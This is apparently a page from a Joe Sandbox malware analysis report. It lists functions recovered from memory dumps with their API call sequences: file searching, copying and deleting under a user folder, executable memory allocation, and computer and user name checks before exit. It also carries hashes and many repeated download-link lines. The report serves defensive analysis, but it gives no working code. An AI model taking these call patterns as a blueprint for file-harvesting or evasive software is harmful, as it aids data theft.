Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: fef998e905627d5a71d89fe319bc58bb44b37698eba779d1213ed658a35f339d
Instruction ID: c8fe573f952c5ae736c7fa1df5c7c7889fdf9ec35d84271d83aaa9e5f1a0eebc
Opcode Fuzzy Hash: fef998e905627d5a71d89fe319bc58bb44b37698eba779d1213ed658a35f339d
Instruction Fuzzy Hash: E67111719101149AEB08FBA8DD96DEE7379FF54300F404169F516E61D2EF386A09CB63

Function 00884BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00888DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00888E0B

lstrcat.KERNEL32(?,00000000), ref: 00884BEA
lstrcat.KERNEL32(?,010FD738), ref: 00884C08

Part of subcall function 00884910: wsprintfA.USER32 ref: 0088492C
Part of subcall function 00884910: FindFirstFileA.KERNEL32(?,?), ref: 00884943

Part of subcall function 00884910: StrCmpCA.SHLWAPI(?,00890FDC), ref: 00884971
Part of subcall function 00884910: StrCmpCA.SHLWAPI(?,00890FE0), ref: 00884987
Part of subcall function 00884910: FindNextFileA.KERNEL32(000000FF,?), ref: 00884B7D
Part of subcall function 00884910: FindClose.KERNEL32(000000FF), ref: 00884B92

Part of subcall function 00884910: wsprintfA.USER32 ref: 008849B0
Part of subcall function 00884910: StrCmpCA.SHLWAPI(?,008908D2), ref: 008849C5
Part of subcall function 00884910: wsprintfA.USER32 ref: 008849E2
Part of subcall function 00884910: PathMatchSpecA.SHLWAPI(?,?), ref: 00884A1E
Part of subcall function 00884910: lstrcat.KERNEL32(?,010FEBC8), ref: 00884A4A
Part of subcall function 00884910: lstrcat.KERNEL32(?,00890FF8), ref: 00884A5C
Part of subcall function 00884910: lstrcat.KERNEL32(?,?), ref: 00884A70
Part of subcall function 00884910: lstrcat.KERNEL32(?,00890FFC), ref: 00884A82
Part of subcall function 00884910: lstrcat.KERNEL32(?,?), ref: 00884A96
Part of subcall function 00884910: CopyFileA.KERNEL32(?,?,00000001), ref: 00884AAC
Part of subcall function 00884910: DeleteFileA.KERNEL32(?), ref: 00884B31

Part of subcall function 00884910: wsprintfA.USER32 ref: 00884A07

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 88f068eff1d045c2a519a919d82261bf216caa9b427c9cfffae9149fba0f17f6
Instruction ID: 869a99d4fda11ed4117bacee5abcb3ede863668ceb5a60e64e63938fe2ac619c
Opcode Fuzzy Hash: 88f068eff1d045c2a519a919d82261bf216caa9b427c9cfffae9149fba0f17f6
Instruction Fuzzy Hash: 62410BB75001046BCB54F7A8EC42DEE337DF798300F408648B54AD6697ED759B898B93

Function 00876660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00876706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00876753

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2d85e69033c99d4f53d6e1e3d2364c2146fa0927e04eb69e00cc29e4fe1ca971
Instruction ID: d742338aef4182b75340b9bcb4295358e5fc7c1b7f464deba25316a0fffbc05e
Opcode Fuzzy Hash: 2d85e69033c99d4f53d6e1e3d2364c2146fa0927e04eb69e00cc29e4fe1ca971
Instruction Fuzzy Hash: 0341C474A00209EFCB44CF98C494BADBBB1FB58354F24C2A9E8099B355D731EA91CF84

Function 00885050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00888DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00888E0B

lstrcat.KERNEL32(?,00000000), ref: 0088508A
lstrcat.KERNEL32(?,010FE558), ref: 008850A8

Part of subcall function 00884910: wsprintfA.USER32 ref: 0088492C
Part of subcall function 00884910: FindFirstFileA.KERNEL32(?,?), ref: 00884943

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 3cee70a46a0642dc989ae58aaa951cca6bf48dfba1aa370bce868bbe4afafdc0
Instruction ID: 5aa0845c4179715970722b7e4e00edcb396c1a4969e344e72b48be7ba9892353
Opcode Fuzzy Hash: 3cee70a46a0642dc989ae58aaa951cca6bf48dfba1aa370bce868bbe4afafdc0
Instruction Fuzzy Hash: 6E019B76900208A7CB54FBB8DC46DEE777CFB64300F404694B649D6192EE749AC98BE3

Function 008710A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 008710B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 008710F7

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: e4a00118e95958faf8950d84ffbcbfb81cc34257376e9e5d7c34298a7b0ebe96
Instruction ID: 22b5a2f223497531d13e89015cdb401711a8fe6458d9592cdcb66080907de169
Opcode Fuzzy Hash: e4a00118e95958faf8950d84ffbcbfb81cc34257376e9e5d7c34298a7b0ebe96
Instruction Fuzzy Hash: 11F0E271641308BBEB14DAA8AC4DFAAB7ECE705B15F304548F508E3290D5719E40CAA1

Function 00888D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00871B54,?,?,0089564C,?,?,00890E1F), ref: 00888D9F

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e6b69f60248ae1ce09c8155d04e12de0c40e4a7772f2ca5404d222d729228bb0
Instruction ID: c9739c4ecbb9d1c8ee9ad823f8f6086eb331bc54fb075302a924c9a4da2a1584
Opcode Fuzzy Hash: e6b69f60248ae1ce09c8155d04e12de0c40e4a7772f2ca5404d222d729228bb0
Instruction Fuzzy Hash: D5F0A570C0420CEBDB04FFA8D5496DCBB74FB10314F50829AE866A73D1DB746A56DB82

Function 00888DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00888E0B

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 242ace4813cc91dd38ee15375eb4e1b02067bf7386fe02d75509b3535edd84f0
Instruction ID: fc07262f8847c8b8e39c59017cb826c8bfaaaca156d6507a99b82c2711d43bed
Opcode Fuzzy Hash: 242ace4813cc91dd38ee15375eb4e1b02067bf7386fe02d75509b3535edd84f0
Instruction Fuzzy Hash: 20E0123194034C6BDB51EB94DC96FAD777CEB44B01F004295BA0C9A1C0DE70AB858B92

Function 00871190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 008878E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00887910
Part of subcall function 008878E0: RtlAllocateHeap.NTDLL(00000000), ref: 00887917
Part of subcall function 008878E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0088792F

Part of subcall function 00887850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,008711B7), ref: 00887880
Part of subcall function 00887850: RtlAllocateHeap.NTDLL(00000000), ref: 00887887
Part of subcall function 00887850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0088789F

ExitProcess.KERNEL32 ref: 008711C6

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 1f2c7f51946155851da027c21168fad603b6e28e926516540751a3b944207960
Instruction ID: 0f989523357c709e75e3e5124ba7a52c948fa87ee86c4ab3e5794321aef3924c
